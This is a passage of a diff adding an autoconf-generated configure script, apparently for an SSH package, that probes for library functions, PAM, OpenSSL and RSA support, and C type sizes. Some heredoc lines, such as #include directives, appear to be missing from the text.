+echo "configure:2251: checking for login" >&5 +if eval "test \"`echo '$''{'ac_cv_func_login'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char login(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_login) || defined (__stub___login) +choke me +#else +login(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2279: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_login=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_login=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'login`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_LOGIN 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for login in -lbsd""... $ac_c" 1>&6 +echo "configure:2300: checking for login in -lbsd" >&5 +ac_lib_var=`echo bsd'_'login | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lbsd $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lbsd"; cat >> confdefs.h <<\EOF +#define HAVE_LOGIN 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for daemon""... $ac_c" 1>&6 +echo "configure:2347: checking for daemon" >&5 +if eval "test \"`echo '$''{'ac_cv_func_daemon'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char daemon(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_daemon) || defined (__stub___daemon) +choke me +#else +daemon(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2375: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_daemon=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_daemon=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'daemon`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_DAEMON 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for daemon in -lbsd""... $ac_c" 1>&6 +echo "configure:2396: checking for daemon in -lbsd" >&5 +ac_lib_var=`echo bsd'_'daemon | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lbsd $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lbsd"; cat >> confdefs.h <<\EOF +#define HAVE_DAEMON 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for getpagesize""... $ac_c" 1>&6 +echo "configure:2443: checking for getpagesize" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getpagesize'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char getpagesize(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_getpagesize) || defined (__stub___getpagesize) +choke me +#else +getpagesize(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2471: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getpagesize=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_getpagesize=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'getpagesize`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_GETPAGESIZE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for getpagesize in -lucb""... $ac_c" 1>&6 +echo "configure:2492: checking for getpagesize in -lucb" >&5 +ac_lib_var=`echo ucb'_'getpagesize | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lucb $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lucb"; cat >> confdefs.h <<\EOF +#define HAVE_GETPAGESIZE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +# Check for broken snprintf +if test "x$ac_cv_func_snprintf" = "xyes" ; then + echo $ac_n "checking whether snprintf correctly terminates long strings""... $ac_c" 1>&6 +echo "configure:2541: checking whether snprintf correctly terminates long strings" >&5 + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + +EOF +if { (eval echo configure:2553: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define BROKEN_SNPRINTF 1 +EOF + + echo "configure: warning: ****** Your snprintf() function is broken, complain to your vendor" 1>&2 + + +fi +rm -fr conftest* +fi + +fi + +PAM_MSG="no" +# Check whether --with-pam or --without-pam was given. +if test "${with_pam+set}" = set; then + withval="$with_pam" + + if test "x$withval" = "xno" ; then + no_pam=1 + cat >> confdefs.h <<\EOF +#define DISABLE_PAM 1 +EOF + + PAM_MSG="disabled" + fi + + +fi + +if (test -z "$no_pam" && test "x$ac_cv_header_security_pam_appl_h" = "xyes") ; then + echo $ac_n "checking for dlopen in -ldl""... $ac_c" 1>&6 +echo "configure:2594: checking for dlopen in -ldl" >&5 +ac_lib_var=`echo dl'_'dlopen | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ldl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo dl | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + LIBS="$LIBS -lpam" + + for ac_func in pam_getenvlist +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2645: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2673: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + + disable_shadow=yes + + PAM_MSG="yes" + + # Check PAM strerror arguments (old PAM) + echo $ac_n "checking whether pam_strerror takes only one argument""... $ac_c" 1>&6 +echo "configure:2704: checking whether pam_strerror takes only one argument" >&5 + cat > conftest.$ac_ext < +#include + +int main() { +(void)pam_strerror((pam_handle_t *)NULL, -1); +; return 0; } +EOF +if { (eval echo configure:2716: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""no" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define HAVE_OLD_PAM 1 +EOF + + echo "$ac_t""yes" 1>&6 + PAM_MSG="yes (old library)" + + +fi +rm -f conftest* +fi + +# The big search for OpenSSL +# Check whether --with-ssl-dir or --without-ssl-dir was given. +if test "${with_ssl_dir+set}" = set; then + withval="$with_ssl_dir" + + if test "x$withval" != "$xno" ; then + tryssldir=$withval + fi + + +fi + + +saved_LIBS="$LIBS" +saved_LDFLAGS="$LDFLAGS" +saved_CFLAGS="$CFLAGS" +if test "x$prefix" != "xNONE" ; then + tryssldir="$tryssldir $prefix" +fi +echo $ac_n "checking for OpenSSL directory""... $ac_c" 1>&6 +echo "configure:2756: checking for OpenSSL directory" >&5 +if eval "test \"`echo '$''{'ac_cv_openssldir'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + + for ssldir in "" $tryssldir /usr/local/openssl /usr/lib/openssl /usr/local/ssl /usr/lib/ssl /usr/local /usr/pkg /opt /opt/openssl ; do + if test ! -z "$ssldir" ; then + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + CFLAGS="$saved_CFLAGS -I$ssldir/include" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + else + LDFLAGS="$saved_LDFLAGS" + fi + + LIBS="$saved_LIBS -lcrypto" + + # Basic test to check for compatible version and correct linking + # *does not* test for RSA - that comes later. + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +int main(void) +{ + char a[2048]; + memset(a, 0, sizeof(a)); + RAND_add(a, sizeof(a), sizeof(a)); + return(RAND_status() <= 0); +} + +EOF +if { (eval echo configure:2795: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + + found_crypto=1 + break; + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + +fi +rm -fr conftest* +fi + + + if test ! -z "$found_crypto" ; then + break; + fi + done + + if test -z "$found_crypto" ; then + { echo "configure: error: Could not find working SSLeay / OpenSSL libraries, please install" 1>&2; exit 1; } + fi + if test -z "$ssldir" ; then + ssldir="(system)" + fi + + ac_cv_openssldir=$ssldir + +fi + +echo "$ac_t""$ac_cv_openssldir" 1>&6 + +if (test ! -z "$ac_cv_openssldir" && test "x$ac_cv_openssldir" != "x(system)") ; then + cat >> confdefs.h <<\EOF +#define HAVE_OPENSSL 1 +EOF + + ssldir=$ac_cv_openssldir + CFLAGS="$saved_CFLAGS -I$ssldir/include" + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:$ssldir:$ssldir/lib" + fi +fi +LIBS="$saved_LIBS -lcrypto" + +# Now test RSA support +saved_LIBS="$LIBS" +echo $ac_n "checking for RSA support""... $ac_c" 1>&6 +echo "configure:2850: checking for RSA support" >&5 +for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" + else + LIBS="$saved_LIBS -lRSAglue -lrsaref" + fi + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +#include +#include +#include +int main(void) +{ + int num; RSA *key; static unsigned char p_in[] = "blahblah"; + unsigned char c[256], p[256]; + memset(c, 0, sizeof(c)); RAND_add(c, sizeof(c), sizeof(c)); + if ((key=RSA_generate_key(512, 3, NULL, NULL))==NULL) return(1); + num = RSA_public_encrypt(sizeof(p_in) - 1, p_in, c, key, RSA_PKCS1_PADDING); + return(-1 == RSA_private_decrypt(num, c, p, key, RSA_PKCS1_PADDING)); +} + +EOF +if { (eval echo configure:2880: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + + rsa_works=1 + break; + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -fr conftest* +fi + +done + +if test ! -z "$no_rsa" ; then + echo "$ac_t""disabled" 1>&6 + RSA_MSG="disabled" +else + if test -z "$rsa_works" ; then + echo "configure: warning: *** No RSA support found *** " 1>&2 + RSA_MSG="no" + else + if test -z "$WANTS_RSAREF" ; then + echo "$ac_t""yes" 1>&6 + RSA_MSG="yes" + else + RSA_MSG="yes (using RSAref)" + echo "$ac_t""using RSAref" 1>&6 + LIBS="$saved_LIBS -lcrypto -lRSAglue -lrsaref" + fi + fi +fi + +# Checks for data types +echo $ac_n "checking size of char""... $ac_c" 1>&6 +echo "configure:2916: checking size of char" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_char'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_char=1 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(char)); + exit(0); +} +EOF +if { (eval echo configure:2935: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_char=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_char=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_char" 1>&6 +cat >> confdefs.h <&6 +echo "configure:2955: checking size of short int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_short_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_short_int=2 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(short int)); + exit(0); +} +EOF +if { (eval echo configure:2974: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_short_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_short_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_short_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:2994: checking size of int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_int=4 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(int)); + exit(0); +} +EOF +if { (eval echo configure:3013: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:3033: checking size of long int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_long_int=4 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(long int)); + exit(0); +} +EOF +if { (eval echo configure:3052: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_long_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_long_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_long_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:3072: checking size of long long int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_long_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_long_long_int=8 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(long long int)); + exit(0); +} +EOF +if { (eval echo configure:3091: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_long_long_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_long_long_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_long_long_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:3113: checking for intXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + int8_t a; int16_t b; int32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:3126: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_intxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_intxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_intxx_t" 1>&6 +if test "x$ac_cv_have_intxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_INTXX_T 1 +EOF + + have_intxx_t=1 +fi + +echo $ac_n "checking for u_intXX_t types""... $ac_c" 1>&6 +echo "configure:3150: checking for u_intXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_u_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:3163: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_intxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_u_intxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_u_intxx_t" 1>&6 +if test "x$ac_cv_have_u_intxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_U_INTXX_T 1 +EOF + + have_u_intxx_t=1 +fi + + +if (test -z "$have_u_intxx_t" || test -z "$have_intxx_t" && \ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") +then + echo $ac_n "checking for intXX_t and u_intXX_t types in sys/bitypes.h""... $ac_c" 1>&6 +echo "configure:3191: checking for intXX_t and u_intXX_t types in sys/bitypes.h" >&5 + cat > conftest.$ac_ext < + +int main() { + + int8_t a; int16_t b; int32_t c; + u_int8_t e; u_int16_t f; u_int32_t g; + a = b = c = e = f = g = 1; + +; return 0; } +EOF +if { (eval echo configure:3206: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define HAVE_U_INTXX_T 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_INTXX_T 1 +EOF + + echo "$ac_t""yes" 1>&6 + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + +fi +rm -f conftest* +fi + +if test -z "$have_u_intxx_t" ; then + echo $ac_n "checking for uintXX_t types""... $ac_c" 1>&6 +echo "configure:3231: checking for uintXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_uintxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:3246: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_uintxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_uintxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_uintxx_t" 1>&6 + if test "x$ac_cv_have_uintxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_UINTXX_T 1 +EOF + + fi +fi + +echo $ac_n "checking for socklen_t""... $ac_c" 1>&6 +echo "configure:3270: checking for socklen_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_socklen_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { +socklen_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3286: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_socklen_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_socklen_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_socklen_t" 1>&6 +if test "x$ac_cv_have_socklen_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SOCKLEN_T 1 +EOF + +fi + +echo $ac_n "checking for size_t""... $ac_c" 1>&6 +echo "configure:3309: checking for size_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_size_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + size_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3324: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_size_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_size_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_size_t" 1>&6 +if test "x$ac_cv_have_size_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SIZE_T 1 +EOF + +fi + +echo $ac_n "checking for ssize_t""... $ac_c" 1>&6 +echo "configure:3347: checking for ssize_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_ssize_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + ssize_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3362: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ssize_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_ssize_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_ssize_t" 1>&6 +if test "x$ac_cv_have_ssize_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SSIZE_T 1 +EOF + +fi + +echo $ac_n "checking for sa_family_t""... $ac_c" 1>&6 +echo "configure:3385: checking for sa_family_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_sa_family_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + sa_family_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3401: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sa_family_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_sa_family_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_sa_family_t" 1>&6 +if test "x$ac_cv_have_sa_family_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SA_FAMILY_T 1 +EOF + +fi + +echo $ac_n "checking for pid_t""... $ac_c" 1>&6 +echo "configure:3424: checking for pid_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_pid_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + pid_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3439: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_pid_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_pid_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_pid_t" 1>&6 +if test "x$ac_cv_have_pid_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_PID_T 1 +EOF + +fi + +echo $ac_n "checking for mode_t""... $ac_c" 1>&6 +echo "configure:3462: checking for mode_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_mode_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + mode_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3477: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_mode_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_mode_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_mode_t" 1>&6 +if test "x$ac_cv_have_mode_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_MODE_T 1 +EOF + +fi + + +echo $ac_n "checking for struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:3501: checking for struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_storage'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; +; return 0; } +EOF +if { (eval echo 